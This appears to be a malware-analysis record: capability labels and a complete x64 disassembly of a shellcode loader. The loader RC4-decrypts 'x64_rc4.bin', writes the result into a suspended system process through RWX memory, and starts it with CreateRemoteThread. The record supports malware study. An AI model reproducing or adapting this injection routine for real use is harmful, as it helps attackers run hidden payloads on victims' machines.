Function at 0x180001010
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Encrypt data using rc4 ksa
Get common file path
Get file size
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov r14, rcx
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
lea rcx, str.x64_rc4.bin
xor eax, eax
xor r12d, r12d
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0xc0000000
movups xmmword [rsp + 0x70], xmm0
lea r8d, [rax + 3]
mov qword [rbp - 0x30], rax
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x20], 3
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x28], r12
lea r8d, [r12 + 4]
mov rcx, rax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rsi, rax
test rax, rax
je 0x18000132d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x40], rax
mov rcx, r14
lea rax, [rbp + 0x1e0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x18000132d
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8d, edi
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, 0x7d0
mov r15, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
test r15, r15
je 0x18000132d
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
mov edx, 0xf001f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [rbp + 0x428], 0x79656b
mov rcx, 0xffffffffffffffff
mov rsi, rax
lea rax, [rbp + 0x428]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x1800011b7
mov r9d, r12d
mov r8, r12
nop word [rax + rax]
xor edx, edx
mov byte [rbp + r8 - 0x20], r9b
mov rax, r8
inc r9d
div rcx
movzx eax, byte [rbp + rdx + 0x428]
mov byte [rbp + r8 + 0xe0], al
inc r8
cmp r9d, 0x100
jl 0x1800011d0
mov edx, r12d
mov r8, r12
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + r8 + 0xe0]
movzx r9d, byte [rbp + r8 - 0x20]
add edx, eax
add edx, r9d
and edx, 0x800000ff
jge 0x180001236
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + r8 - 0x20], al
inc r8
mov byte [rcx], r9b
cmp r8, 0x100
jl 0x180001210
mov eax, r12d
mov r8d, r12d
test edi, edi
je 0x1800012ca
mov rbx, rsi
inc eax
and eax, 0x800000ff
jge 0x180001276
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r10, [rbp - 0x20]
add r10, rcx
movzx r11d, byte [r10]
add r8d, r11d
and r8d, 0x800000ff
jge 0x18000129d
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rbp - 0x20]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r10], cl
mov byte [rdx], r11b
movzx edx, byte [r10]
add rdx, r11
movzx ecx, dl
movzx edx, byte [rbp + rcx - 0x20]
xor byte [rbx], dl
inc rbx
sub rdi, 1
jne 0x180001264
mov rcx, qword [rsp + 0x50]
mov r9, r14
mov r8, rsi
mov qword [rsp + 0x20], r12
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000132d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
mov r9, r15
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], r12d
xor edx, edx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x18000134b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov eax, 1
jmp 0x18000132f